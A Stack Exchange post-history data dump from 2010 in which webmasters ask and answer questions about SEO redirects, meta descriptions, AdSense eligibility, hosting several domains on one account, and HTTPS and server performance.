  <row Id="6195" PostHistoryTypeId="2" PostId="3165" RevisionGUID="582f2309-7ee9-47de-a60c-3d14307bee58" CreationDate="2010-09-21T07:41:04.080" UserId="89" Text="302 redirect do not transfer search ranking - so you may lose search ranking if you mass 302 your site.&#xD;&#xA;&#xD;&#xA;301 can change bookmark definitions, I wouldn't want to constantly 301 my users around.&#xD;&#xA;&#xD;&#xA;Also, make sure the http version includes a login form so the user can quickly return to the https version.&#xD;&#xA;&#xD;&#xA;Now the big questions is - if the data is viewable over http why do you have an https version? what data are you hiding with the https encryption that is not already out there?&#xD;&#xA;&#xD;&#xA;You can make a https member area, or post forms to https url from the http page or many other options that don't include having the entire site on both http and https.&#xD;&#xA;&#xD;&#xA;Other than that, your idea looks workable - but I have no inside info has to how Google and the other web sites operate and you really can't be sure as to how this will affect your ranking (and its such an edge case it may well change drastically whenever Google update the algorithm).&#xD;&#xA;" />
  <row Id="6196" PostHistoryTypeId="2" PostId="3166" RevisionGUID="641e703f-ab70-4500-a169-02712cb59eb2" CreationDate="2010-09-21T08:08:43.793" UserId="89" Text="Google and other search engines are perfectly capable of picking the excerpt from the page content themselves - and will ignore the meta description tag if they suspect anything fishy about it.&#xD;&#xA;&#xD;&#xA;So, duplicating your entire post in the meta description will:&#xD;&#xA;&#xD;&#xA;1. get your meta description tag ignored&#xD;&#xA;&#xD;&#xA;2. make your site slower since you almost doubled the size of the HTML by repeating yourself - **this will hurt your rank on Google**.&#xD;&#xA;&#xD;&#xA;3. maybe cause parsing problems (I suspect browser and spider writers don't spend as much time on the meta tag parsing code as they do on the body)&#xD;&#xA;&#xD;&#xA;4. if the search engines will honor your description they will show the start of the post in the excerpt and not the part around the search keyword - this is likely to lower the number of clicks on that result and reduce your traffic.&#xD;&#xA;&#xD;&#xA;So, if you don't have anything meaningful to put in your description just drop the meta description tag.&#xD;&#xA;" />
  <row Id="6197" PostHistoryTypeId="2" PostId="3167" RevisionGUID="e7f79d2c-f9b9-493c-a848-ea18ca79914f" CreationDate="2010-09-21T08:34:00.440" UserId="1424" Text="I've installed several websites on my Ubuntu server and I need now to add an extension and some modules to my php configuration file.&#xD;&#xA;&#xD;&#xA;Since I have some e-commerce websites I was wondering if I should put all these websites offline before to proceed with it, and if this is the usual procedure.&#xD;&#xA;&#xD;&#xA;Let's say, any guideline for a professional procedure is welcome.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="6198" PostHistoryTypeId="1" PostId="3167" RevisionGUID="e7f79d2c-f9b9-493c-a848-ea18ca79914f" CreationDate="2010-09-21T08:34:00.440" UserId="1424" Text="How to professionally update your server configuration" />
  <row Id="6199" PostHistoryTypeId="3" PostId="3167" RevisionGUID="e7f79d2c-f9b9-493c-a848-ea18ca79914f" CreationDate="2010-09-21T08:34:00.440" UserId="1424" Text="&lt;server&gt;&lt;web-hosting&gt;&lt;ubuntu&gt;" />
  <row Id="6200" PostHistoryTypeId="2" PostId="3168" RevisionGUID="4409f32b-08e6-43f0-b2ba-64e2e3eeaad6" CreationDate="2010-09-21T09:30:04.557" UserId="2025" Text="for some reason my tweets box is being moved right up the DOM, and my facebook links are not being hidden like they should!!&#xD;&#xA;&#xD;&#xA;Can anyone help me?" />
  <row Id="6201" PostHistoryTypeId="1" PostId="3168" RevisionGUID="4409f32b-08e6-43f0-b2ba-64e2e3eeaad6" CreationDate="2010-09-21T09:30:04.557" UserId="2025" Text="why is IE7 killing my site?" />
  <row Id="6202" PostHistoryTypeId="3" PostId="3168" RevisionGUID="4409f32b-08e6-43f0-b2ba-64e2e3eeaad6" CreationDate="2010-09-21T09:30:04.557" UserId="2025" Text="&lt;internet-explorer&gt;" />
  <row Id="6203" PostHistoryTypeId="5" PostId="3147" RevisionGUID="6a81a5a1-8862-4a90-b2b7-5822b7ce619b" CreationDate="2010-09-21T10:23:46.540" UserId="1979" Comment="added 846 characters in body" Text="You may want to look into `&lt;link rel=&quot;canonical&quot; /&gt;`. See http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html. Down in the comments someone from Google says that it can be used for http/https issues. &#xD;&#xA;&#xD;&#xA;Caveat: I'm not sure if and to what extent `&lt;link rel=&quot;canonical&quot; /&gt;` is supported by search engines other than Google, Yahoo and Bing. If other engines are important to your site you should check their FAQs.&#xD;&#xA;&#xD;&#xA;From a user perspective:&#xD;&#xA;Redirecting a user who is logged in from http to https is insecure (if I understand correctly that you would like to create a seamless process). At the point where he arrives at the site (prior to the redirect) he would transfer his session cookie via http, making him vulnerable to session hijacking. Such a user needs to log in again from a https page.&#xD;&#xA;&#xD;&#xA;In the case a user arrives via https and is not logged in: Depending on the circumstances (size of the site, expected traffic volume, expected number of times this will happen) you may be able to simply keep him on https. Also see http://webmasters.stackexchange.com/questions/1823/https-for-entire-site and http://stackoverflow.com/questions/174348/will-web-browsers-cache-content-over-https for discussions on running a site on https (partly in your case).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6205" PostHistoryTypeId="5" PostId="3133" RevisionGUID="3456f895-ebb7-40b0-8372-f66becda64fd" CreationDate="2010-09-21T10:48:35.540" UserId="1979" Comment="added 87 characters in body" Text="So far, I've seen rich snippets in Google search results only for large sites with a high number of elements (people, events, recipes, etc.). &#xD;&#xA;&#xD;&#xA;Does anyone know of an example where rich snippets are displayed for a small site with only a handful/a few dozen elements? &#xD;&#xA;&#xD;&#xA;Our own site has around 10 events (we are a specialized conference organizer) with rich snippet markup but so far they aren't displayed. To avoid misunderstandings: I'm interested in hearing about all types, not just events.&#xD;&#xA;&#xD;&#xA;To clarify: We are using Google's rich snippet testing tool. Everything fine there." />
  <row Id="6206" PostHistoryTypeId="2" PostId="3170" RevisionGUID="569bc4d7-212b-43e7-8931-c3fe2209fa61" CreationDate="2010-09-21T10:54:51.163" UserId="2026" Text="I applied to google adsence last week. But they had rejected my application since they found some contents on my site which were not matching to their policies.&#xD;&#xA;I was surprised since no content on my site was spreading voilence, vulgarity. And all the articles on the site were written by myself.&#xD;&#xA;One of my friend suggested that &#xD;&#xA;&#xD;&#xA; 1. the domain must be 6 months old.&#xD;&#xA; 2. Average daily hits must be 30&#xD;&#xA;    hits/day.&#xD;&#xA;&#xD;&#xA;is there any other requiremnt?&#xD;&#xA;" />
  <row Id="6207" PostHistoryTypeId="1" PostId="3170" RevisionGUID="569bc4d7-212b-43e7-8931-c3fe2209fa61" CreationDate="2010-09-21T10:54:51.163" UserId="2026" Text="What is basic requiremnt to publish ads on site?" />
  <row Id="6208" PostHistoryTypeId="3" PostId="3170" RevisionGUID="569bc4d7-212b-43e7-8931-c3fe2209fa61" CreationDate="2010-09-21T10:54:51.163" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="6209" PostHistoryTypeId="2" PostId="3171" RevisionGUID="6b1c34ea-813b-4ea5-b9d4-7afe9db5d798" CreationDate="2010-09-21T10:59:26.237" UserId="2026" Text="You can consider it as new layout designing trend.&#xD;&#xA;Big footer with multiple columns are created to provide enough space to display contents . So that visiters would be less confused while reading your article. It is sometimes needful when your site is visited on low resolution screens." />
  <row Id="6210" PostHistoryTypeId="2" PostId="3172" RevisionGUID="9fe77a88-1b25-4b61-970f-00caea0b6b5a" CreationDate="2010-09-21T11:15:43.353" UserId="2026" Text="I will support to mentioned right keywords in `alt` property of `img` tag. I never prefer to upload images at my hosting server since it eats my bandwidth. stil they are searchable by google image search.&#xD;&#xA;&#xD;&#xA;Well!! you need not to worry about google image search. Because google is widely used for text searching only. Web developers generally use other search engines for images." />
  <row Id="6211" PostHistoryTypeId="2" PostId="3173" RevisionGUID="4571d897-b578-42d4-aa03-481a41bb8b72" CreationDate="2010-09-21T11:27:00.390" UserId="2026" Text="Google periodically scan web. Might be your site is not scanned till now. &#xD;&#xA;&#xD;&#xA;**Checklist**&#xD;&#xA;&#xD;&#xA; 1. You have proper [robots.txt][1]&#xD;&#xA; 2. Some of posts at your site are&#xD;&#xA;    linking to other posts of your site.&#xD;&#xA; 3. sitemap.xml is placed on proper&#xD;&#xA;    path. And its entry is mentioned in&#xD;&#xA;    robots.txt.&#xD;&#xA; 4. You had successfully submitted your site sitemap to google and other web search engines.&#xD;&#xA;&#xD;&#xA;I'll let you know if i add more points in this check list.&#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/why-does-robots-txt-is-important.amty&#xD;&#xA;" />
  <row Id="6212" PostHistoryTypeId="2" PostId="3174" RevisionGUID="c0661a85-11a2-4b9a-a8c2-81a3c690d7b3" CreationDate="2010-09-21T11:27:37.393" UserId="1979" Text="Google now supports breadcrumb markup: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="6213" PostHistoryTypeId="2" PostId="3175" RevisionGUID="4f190717-f00c-4b07-8ed7-84213c0dedf1" CreationDate="2010-09-21T12:19:00.137" UserId="1253" Text="Obviously you've overlooked the most obvious one: content. Something about your content is not appropriate as per Google's guidelines which is far more in depth then just &quot;violence and vulgarity&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Publishers may not place AdSense code&#xD;&#xA;&gt; on pages with content that violates&#xD;&#xA;&gt; any of our content guidelines. Some&#xD;&#xA;&gt; examples include content that is&#xD;&#xA;&gt; adult, violent or advocating racial&#xD;&#xA;&gt; intolerance.  View full content&#xD;&#xA;&gt; policies. Sites with Google ads may&#xD;&#xA;&gt; not include or link to:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Pornography, adult or mature content&#xD;&#xA;&gt; - Violent content&#xD;&#xA;&gt; - Content related to racial intolerance or advocacy against any&#xD;&#xA;&gt; individual, group or organisation&#xD;&#xA;&gt; - Excessive profanity&#xD;&#xA;&gt; - Hacking/cracking content&#xD;&#xA;&gt; - Gambling or casino-related content&#xD;&#xA;&gt; - Illicit drugs and drug paraphernalia content&#xD;&#xA;&gt; - Sales of beer or hard alcohol&#xD;&#xA;&gt; - Sales of tobacco or tobacco-related products&#xD;&#xA;&gt; - Sales of prescription drugs&#xD;&#xA;&gt; - Sales of weapons or ammunition (e.g. firearms, firearm components, fighting&#xD;&#xA;&gt; knives, stun guns)&#xD;&#xA;&gt; - Sales of products that are replicas or imitations of designer goods&#xD;&#xA;&gt; - Sales or distribution of coursework or student essays&#xD;&#xA;&gt; - Content regarding programs which compensate users for clicking ads or&#xD;&#xA;&gt; offers, performing searches, surfing&#xD;&#xA;&gt; websites or reading emails&#xD;&#xA;&gt; - Any other content that is illegal, promotes illegal activity or infringes&#xD;&#xA;&gt; on the legal rights of others&#xD;&#xA;&gt; &#xD;&#xA;&gt; Publishers are also not permitted to&#xD;&#xA;&gt; place AdSense code on pages with&#xD;&#xA;&gt; content primarily in an unsupported&#xD;&#xA;&gt; language." />
  <row Id="6214" PostHistoryTypeId="2" PostId="3176" RevisionGUID="6c412d4f-c13c-443b-9be9-4abbe3180de9" CreationDate="2010-09-21T13:14:45.447" UserId="2020" Text="1) Yes, the workflow makes sense. The only thing I didn't quite get was the need for a separate testing platform. I mean yeah, it's useful if you have a testing team to give them their own platform, but if it's just you? Not so much. IMHO, for small-scale dev teams, this sort of thing is unnecessary and becomes a hassle.&#xD;&#xA;&#xD;&#xA;2) I'm going to suggest the obvious here (and I'm ready to be shot down), but what about [git-revert][1]? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/software/scm/git/docs/git-revert.html" />
  <row Id="6215" PostHistoryTypeId="2" PostId="3177" RevisionGUID="59095b16-094e-4631-9cc7-af42bf1e1c06" CreationDate="2010-09-21T14:12:44.243" UserId="2027" Text="Heads up: both domains are registered at GoDaddy and the shared hosting server is also at GoDaddy.  I currently have a website at www.somesite.com.  I also have another domain name www.mynewsite.com that I want to have, but don't want to purchase a new hosting plan as I have plenty of space and bandwidth available on the one I currently run for www.somesite.com.  Is there a way to use BOTH domains on the same hosting account and have a separate sites run from them, as if they are both totally separate sites?&#xD;&#xA;&#xD;&#xA;I was thinking since http://123.123.123.123/ is mapped to www.somesite.com that they would allow me to map my new domain to some folder, like http://123.123.123.123/newsite/ to accomplish this, but can't seem to find the right options in GoDaddy to do it.  Any help or correction on terminology to better Google this would be great." />
  <row Id="6216" PostHistoryTypeId="1" PostId="3177" RevisionGUID="59095b16-094e-4631-9cc7-af42bf1e1c06" CreationDate="2010-09-21T14:12:44.243" UserId="2027" Text="Having multiple domains on a single hosting server." />
  <row Id="6217" PostHistoryTypeId="3" PostId="3177" RevisionGUID="59095b16-094e-4631-9cc7-af42bf1e1c06" CreationDate="2010-09-21T14:12:44.243" UserId="2027" Text="&lt;domains&gt;" />
  <row Id="6218" PostHistoryTypeId="2" PostId="3178" RevisionGUID="44aefdbd-e090-4717-9603-46e72c85a165" CreationDate="2010-09-21T14:46:47.090" UserId="89" Text="Turn on compression and you'll see immediate performance improvements, likewise if you enable caching for complex web apps.&#xD;&#xA;&#xD;&#xA;What other configuration options you can change to improve performance? do you have &quot;performance checklist&quot; of things to set when you get a new server?&#xD;&#xA;&#xD;&#xA;I'm asking about IIS 7 or later (because all my current servers are IIS7)" />
  <row Id="6219" PostHistoryTypeId="1" PostId="3178" RevisionGUID="44aefdbd-e090-4717-9603-46e72c85a165" CreationDate="2010-09-21T14:46:47.090" UserId="89" Text="How to speed up IIS 7 web sItes" />
  <row Id="6220" PostHistoryTypeId="3" PostId="3178" RevisionGUID="44aefdbd-e090-4717-9603-46e72c85a165" CreationDate="2010-09-21T14:46:47.090" UserId="89" Text="&lt;performance&gt;&lt;iis7&gt;" />
  <row Id="6221" PostHistoryTypeId="2" PostId="3179" RevisionGUID="b330bdcd-d064-419a-992f-442d4b305712" CreationDate="2010-09-21T14:48:49.063" UserId="2621" Text="does anyone know a proper sitemap plugin for wordpress that works with ms sql?" />
  <row Id="6222" PostHistoryTypeId="1" PostId="3179" RevisionGUID="b330bdcd-d064-419a-992f-442d4b305712" CreationDate="2010-09-21T14:48:49.063" UserId="2621" Text="Wordpress Sitemap for MSSQL" />
  <row Id="6223" PostHistoryTypeId="3" PostId="3179" RevisionGUID="b330bdcd-d064-419a-992f-442d4b305712" CreationDate="2010-09-21T14:48:49.063" UserId="2621" Text="&lt;seo&gt;&lt;google&gt;&lt;wordpress&gt;&lt;blog&gt;" />
  <row Id="6224" PostHistoryTypeId="2" PostId="3180" RevisionGUID="127d8332-89ad-4cbb-a37f-83624263c310" CreationDate="2010-09-21T15:12:53.283" UserId="1074" Text="With GoDaddy, you need to make sure you have the correct level of service to allow multiple domains to one account.  GoDaddy calls the one that can handle multiples a &quot;Deluxe&quot; account.&#xD;&#xA;&#xD;&#xA;[This article][1] explains how to make it work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/help/article/48" />
  <row Id="6225" PostHistoryTypeId="5" PostId="3175" RevisionGUID="014eba9f-9768-43aa-a90f-cafbc00faad8" CreationDate="2010-09-21T15:18:31.753" UserId="1253" Comment="added 24 characters in body; deleted 25 characters in body" Text="Obviously you've overlooked the most obvious one: content (just like Google said). Something about your content is not appropriate as per Google's guidelines which is far more in depth then just &quot;violence and vulgarity&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Publishers may not place AdSense code&#xD;&#xA;&gt; on pages with content that violates&#xD;&#xA;&gt; any of our content guidelines. Some&#xD;&#xA;&gt; examples include content that is&#xD;&#xA;&gt; adult, violent or advocating racial&#xD;&#xA;&gt; intolerance.  &#xD;&#xA;&#xD;&#xA;&gt; Sites with Google ads may&#xD;&#xA;&gt; not include or link to:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Pornography, adult or mature content&#xD;&#xA;&gt; - Violent content&#xD;&#xA;&gt; - Content related to racial intolerance or advocacy against any&#xD;&#xA;&gt; individual, group or organisation&#xD;&#xA;&gt; - Excessive profanity&#xD;&#xA;&gt; - Hacking/cracking content&#xD;&#xA;&gt; - Gambling or casino-related content&#xD;&#xA;&gt; - Illicit drugs and drug paraphernalia content&#xD;&#xA;&gt; - Sales of beer or hard alcohol&#xD;&#xA;&gt; - Sales of tobacco or tobacco-related products&#xD;&#xA;&gt; - Sales of prescription drugs&#xD;&#xA;&gt; - Sales of weapons or ammunition (e.g. firearms, firearm components, fighting&#xD;&#xA;&gt; knives, stun guns)&#xD;&#xA;&gt; - Sales of products that are replicas or imitations of designer goods&#xD;&#xA;&gt; - Sales or distribution of coursework or student essays&#xD;&#xA;&gt; - Content regarding programs which compensate users for clicking ads or&#xD;&#xA;&gt; offers, performing searches, surfing&#xD;&#xA;&gt; websites or reading emails&#xD;&#xA;&gt; - Any other content that is illegal, promotes illegal activity or infringes&#xD;&#xA;&gt; on the legal rights of others&#xD;&#xA;&gt; &#xD;&#xA;&gt; Publishers are also not permitted to&#xD;&#xA;&gt; place AdSense code on pages with&#xD;&#xA;&gt; content primarily in an unsupported&#xD;&#xA;&gt; language." />
  <row Id="6226" PostHistoryTypeId="2" PostId="3181" RevisionGUID="9286e865-5146-4fdb-9ff7-29b937525d6f" CreationDate="2010-09-21T15:30:42.620" UserId="1988" Text="What you want is called an &quot;add-on&quot; domain. &#xD;&#xA;&#xD;&#xA;From http://webnet77.com/webstuff/parked-add-on-domain.html&#xD;&#xA;&#xD;&#xA;&lt;Blockquote&gt;&#xD;&#xA;Add-On Domains&#xD;&#xA;&#xD;&#xA;    * You have two domains mysite.com and my-other-site.com.&#xD;&#xA;    * You want the two domains to be totally separate/independent websites.&#xD;&#xA;&lt;/Blockquote&gt;&#xD;&#xA;&#xD;&#xA;Your hosting plan should allow for add-on domains, otherwise you won't be able to use your space the way you want. &#xD;&#xA;&#xD;&#xA;Be advised that, in an add-on domain situation, most probably the sites will not be totally separate. They will look independent to the visitors, yes. But permissions, database users, filesystem rights etc. will most probably be common and they will allow the scripts of one site to read the data and scripts of the other (because they belong to the same shared hosting account - yours!). That means that if one of the sites has a security hole that allows reading or writing arbitrary files, your other site will be affected too." />
  <row Id="6227" PostHistoryTypeId="2" PostId="3182" RevisionGUID="fd94a20a-1dd6-48c5-9207-b9a26058b622" CreationDate="2010-09-21T15:30:48.877" UserId="1857" Text="IIS7+ is actually pretty darn' fast. There isn't much you can do to speed up *IIS;* in general you'll optimize on the *HTML, JS, Images, CSS, HTTP, HTTP headers, and possibly webapp code (C# etc)*. These concerns are cross-platform. *How* you change the settings to change does of course depend on the platform, but a quick look in the docs will provide an answer.&#xD;&#xA;&#xD;&#xA;[Steve Souders][1] literally wrote [the book on how to make websites go faster][2]. It's a quick, easy read. Here is a free [summary / checklist as you requested][3], and you'll find a [talk about this on YUI Theater][4] (not the greatest presentation).&#xD;&#xA;&#xD;&#xA;[Steve's second book is also good][5], but with more emphasis on specific Javascript and browser behavior. The first book is more universally applicable, and the tweaks given in the first book have the biggest impact.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stevesouders.com/&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0596529309&#xD;&#xA;  [3]: http://stevesouders.com/hpws/rules.php&#xD;&#xA;  [4]: http://yui.zenfs.com/theater/souders-performance.m4v&#xD;&#xA;  [5]: http://stevesouders.com/efws/" />
  <row Id="6228" PostHistoryTypeId="4" PostId="3178" RevisionGUID="c3be56ec-926c-4b3d-90d2-6e675cb9e117" CreationDate="2010-09-21T15:31:58.983" UserId="89" Comment="fixed typo" Text="How to speed up IIS 7 web sites" />
  <row Id="6229" PostHistoryTypeId="5" PostId="3175" RevisionGUID="5444e875-299d-489d-9137-cede0a665548" CreationDate="2010-09-21T15:45:23.650" UserId="1253" Comment="deleted 10 characters in body; added 138 characters in body" Text="You've overlooked the most obvious one: content (just like Google said). Something about your content is not appropriate as per Google's guidelines which is far more in depth then just &quot;violence and vulgarity&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Publishers may not place AdSense code&#xD;&#xA;&gt; on pages with content that violates&#xD;&#xA;&gt; any of our content guidelines. Some&#xD;&#xA;&gt; examples include content that is&#xD;&#xA;&gt; adult, violent or advocating racial&#xD;&#xA;&gt; intolerance.  &#xD;&#xA;&#xD;&#xA;&gt; Sites with Google ads may&#xD;&#xA;&gt; not include or link to:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Pornography, adult or mature content&#xD;&#xA;&gt; - Violent content&#xD;&#xA;&gt; - Content related to racial intolerance or advocacy against any&#xD;&#xA;&gt; individual, group or organisation&#xD;&#xA;&gt; - Excessive profanity&#xD;&#xA;&gt; - Hacking/cracking content&#xD;&#xA;&gt; - Gambling or casino-related content&#xD;&#xA;&gt; - Illicit drugs and drug paraphernalia content&#xD;&#xA;&gt; - Sales of beer or hard alcohol&#xD;&#xA;&gt; - Sales of tobacco or tobacco-related products&#xD;&#xA;&gt; - Sales of prescription drugs&#xD;&#xA;&gt; - Sales of weapons or ammunition (e.g. firearms, firearm components, fighting&#xD;&#xA;&gt; knives, stun guns)&#xD;&#xA;&gt; - Sales of products that are replicas or imitations of designer goods&#xD;&#xA;&gt; - Sales or distribution of coursework or student essays&#xD;&#xA;&gt; - Content regarding programs which compensate users for clicking ads or&#xD;&#xA;&gt; offers, performing searches, surfing&#xD;&#xA;&gt; websites or reading emails&#xD;&#xA;&gt; - Any other content that is illegal, promotes illegal activity or infringes&#xD;&#xA;&gt; on the legal rights of others&#xD;&#xA;&gt; &#xD;&#xA;&gt; Publishers are also not permitted to&#xD;&#xA;&gt; place AdSense code on pages with&#xD;&#xA;&gt; content primarily in an unsupported&#xD;&#xA;&gt; language.&#xD;&#xA;&#xD;&#xA;If you are unsure what content may be causing the issue edit your question and include your link. We'll see if we can spot it for you." />
  <row Id="6230" PostHistoryTypeId="5" PostId="3182" RevisionGUID="018e2a27-fc8e-456d-a1a9-0c2063bc1769" CreationDate="2010-09-21T15:46:58.293" UserId="1857" Comment="added 481 characters in body" Text="IIS7+ is actually pretty darn' fast. There isn't much you can do to speed up *IIS;* in general you'll optimize on the *HTML, JS, Images, CSS, HTTP, HTTP headers, and possibly webapp code (C# etc)*. These issues are cross-platform. The user interface is of course different between Apache and IIS, but the knowledge is much the same.&#xD;&#xA;&#xD;&#xA;[Steve Souders][1] literally wrote [the book on how to make websites go faster][2]. It's a quick, easy read. Here is a free [summary / checklist as you requested][3], and you'll find a [talk about this on YUI Theater][4] (not the greatest presentation).&#xD;&#xA;&#xD;&#xA;For those not clicking on links, the original 14 rules (which can also be found on Yahoo!'s developer network) are:&#xD;&#xA;&#xD;&#xA; 1. Make Fewer HTTP Requests&#xD;&#xA; 2. Use a Content Delivery Network&#xD;&#xA; 3. Add an Expires Header&#xD;&#xA; 4. Gzip Components&#xD;&#xA; 5. Put Stylesheets at the Top&#xD;&#xA; 6. Put Scripts at the Bottom&#xD;&#xA; 7. Avoid CSS Expressions&#xD;&#xA; 8. Make JavaScript and CSS External&#xD;&#xA; 9. Reduce DNS Lookups&#xD;&#xA; 10. Minify JavaScript&#xD;&#xA; 11. Avoid Redirects&#xD;&#xA; 12. Remove Duplicate Scripts&#xD;&#xA; 13. Configure ETags&#xD;&#xA; 14. Make AJAX Cacheable &#xD;&#xA;&#xD;&#xA;[Steve's second book is also good][5], but with more emphasis on specific Javascript and browser behavior. The first book is more universally applicable, and the tweaks given in the first book have the biggest impact.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stevesouders.com/&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0596529309&#xD;&#xA;  [3]: http://stevesouders.com/hpws/rules.php&#xD;&#xA;  [4]: http://yui.zenfs.com/theater/souders-performance.m4v&#xD;&#xA;  [5]: http://stevesouders.com/efws/" />
  <row Id="6231" PostHistoryTypeId="5" PostId="3145" RevisionGUID="87336983-53de-4fd5-bba3-c74d5d350f8e" CreationDate="2010-09-21T16:13:43.040" UserId="745" Comment="added 1551 characters in body; edited tags; edited title" Text="Consider a page, http://example.com, which can be viewed both publicly and when a user authenticates. Now suppose you enable https for every page when a user logs into your website, but only when they are logged in. Your page, http://example.com now becomes https://example.com for all logged in users. If that logged in user likes your page and decides to link to it through a blog post or a social media website, there is a good chance that they will use the https version of the URL.&#xD;&#xA;&#xD;&#xA;From an SEO perspective, what's your strategy for avoiding duplicate content issues between the two URLs?&#xD;&#xA;&#xD;&#xA;What should happen if a user arrives at the https URL but has not logged in or does not have an account? Should there be a redirect to the http version? If so, how would you handle it?&#xD;&#xA;&#xD;&#xA;My instinct is that for all pages that can be viewed both publicly and while logged in, the page should first detect if the user is logged in. If logged in, it remains https or uses a 302 redirect from the http version to https. If the user is not logged in and they arrive to the https version of the URL, it uses a 301 redirect to the http version. However, I would welcome a more elegant or effective solution.&#xD;&#xA;&#xD;&#xA;**Edit**: I was assuming that if a user is logged in, every URL should be https (or at least, that should be an option), but as I've done a little more research, perhaps that assumption was wrong. The way that I see people implementing it is that they only enable https for pages that send and receive sensitive data: login, shopping cart checkout, user profile management, etc. I'm trying to figure out which model is best. &#xD;&#xA;&#xD;&#xA;Apparently, GMail gives users the option of whether or not to use https on every page through a setting in the user's profile. That's certainly an option, but I would still need to address the behavior of publicly available pages for all authentication states.&#xD;&#xA;&#xD;&#xA;Because I'm building a content management system that will be used by other people, I need to make sure I get it right. What settings should be available to the site owner? At this point, I'm thinking granular control over each page (whether or not it's secured with SSL) and then for the whole site as well. However, giving that level of control might be a mistake if people don't understand all of the issues and could end up causing security issues. That, perhaps, is the first issue. What are appropriate levels of control and what are intelligent defaults? The second is how the pages should behave for the user. From an SEO perspective, I think that either the process I described above or using the `rel=&quot;canonical&quot;` (like jmb suggested) would work, but nailing down the behavior of the page so that it is secure and seamless is essential as well." />
  <row Id="6232" PostHistoryTypeId="4" PostId="3145" RevisionGUID="87336983-53de-4fd5-bba3-c74d5d350f8e" CreationDate="2010-09-21T16:13:43.040" UserId="745" Comment="added 1551 characters in body; edited tags; edited title" Text="HTTPS best practices for SEO and usability" />
  <row Id="6233" PostHistoryTypeId="6" PostId="3145" RevisionGUID="87336983-53de-4fd5-bba3-c74d5d350f8e" CreationDate="2010-09-21T16:13:43.040" UserId="745" Comment="added 1551 characters in body; edited tags; edited title" Text="&lt;seo&gt;&lt;ssl&gt;&lt;usability&gt;&lt;http&gt;&lt;best-practices&gt;" />
  <row Id="6234" PostHistoryTypeId="5" PostId="3147" RevisionGUID="a003fce6-a155-4789-b93f-7ed24c0c3cb0" CreationDate="2010-09-21T17:18:46.410" UserId="1979" Comment="added 405 characters in body; added 29 characters in body; added 95 characters in body" Text="You may want to look into `&lt;link rel=&quot;canonical&quot; /&gt;`. See http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html. Down in the comments someone from Google says that it can be used for http/https issues. &#xD;&#xA;&#xD;&#xA;Caveat: I'm not sure if and to what extent `&lt;link rel=&quot;canonical&quot; /&gt;` is supported by search engines other than Google, Yahoo and Bing. If other engines are important to your site you should check their FAQs.&#xD;&#xA;&#xD;&#xA;From a user perspective:&#xD;&#xA;Redirecting a user who is logged in from http to https is insecure (if I understand correctly that you would like to create a seamless process). At the point where he arrives at the site (prior to the redirect) he would transfer his session cookie via http, making him vulnerable to session hijacking. Such a user needs to log in again from a https page.&#xD;&#xA;&#xD;&#xA;In the case a user arrives via https and is not logged in: Depending on the circumstances (size of the site, expected traffic volume, expected number of times this will happen) you may be able to simply keep him on https. Also see http://webmasters.stackexchange.com/questions/1823/https-for-entire-site and http://stackoverflow.com/questions/174348/will-web-browsers-cache-content-over-https for discussions on running a site on https (partly in your case).&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;&gt; What are appropriate levels of control&#xD;&#xA;&gt; and what are intelligent defaults?&#xD;&#xA;&#xD;&#xA;Appropriate levels of control:&#xD;&#xA;&#xD;&#xA; - Secure (https turned on, including the log in page and everything from there on)&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA; - Insecure (no https).&#xD;&#xA;&#xD;&#xA;There's no middle ground if you want to &quot;get it right&quot;. Also see http://paulmakowski.wordpress.com/2009/07/20/http-post-https-bad-idea/ and http://stackoverflow.com/questions/274274/is-it-secure-to-submit-from-a-http-form-to-https&#xD;&#xA;&#xD;&#xA;Default: Depends on who your customers are." />
  <row Id="6235" PostHistoryTypeId="2" PostId="3183" RevisionGUID="82064fa9-ef5c-49a9-8bd0-a121d3020cb8" CreationDate="2010-09-21T17:41:36.603" UserId="2030" Text="I'm using a drupal site with a theme from rockettheme.&#xD;&#xA;&#xD;&#xA;The users are member users. The problem is for unknown reason the site is very slow. Takes around 20 seconds to open the page.&#xD;&#xA;&#xD;&#xA;I have tried switching the VPS, but no performance gain.&#xD;&#xA;&#xD;&#xA;I'm not using many modules, that would bog down the site.&#xD;&#xA;&#xD;&#xA;What possible solutions should I look at to increase the site's speed to bring it to open in normal time." />
  <row Id="6236" PostHistoryTypeId="1" PostId="3183" RevisionGUID="82064fa9-ef5c-49a9-8bd0-a121d3020cb8" CreationDate="2010-09-21T17:41:36.603" UserId="2030" Text="drupal site speed increase " />
  <row Id="6237" PostHistoryTypeId="3" PostId="3183" RevisionGUID="82064fa9-ef5c-49a9-8bd0-a121d3020cb8" CreationDate="2010-09-21T17:41:36.603" UserId="2030" Text="&lt;optimization&gt;&lt;speed&gt;&lt;cache&gt;&lt;drupal&gt;" />
  <row Id="6238" PostHistoryTypeId="2" PostId="3184" RevisionGUID="bf6a04b1-7c30-4721-b406-bde3ab7ed643" CreationDate="2010-09-21T17:59:00.920" UserId="1253" Text=" - Use a opcode cache like [APC][1]&#xD;&#xA; - Use a tool like [xDebug][2] to see where your bottlenecks are. That way you know what you need to address instead of just guessing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/book.apc.php-&#xD;&#xA;  [2]: http://www.xdebug.org/" />
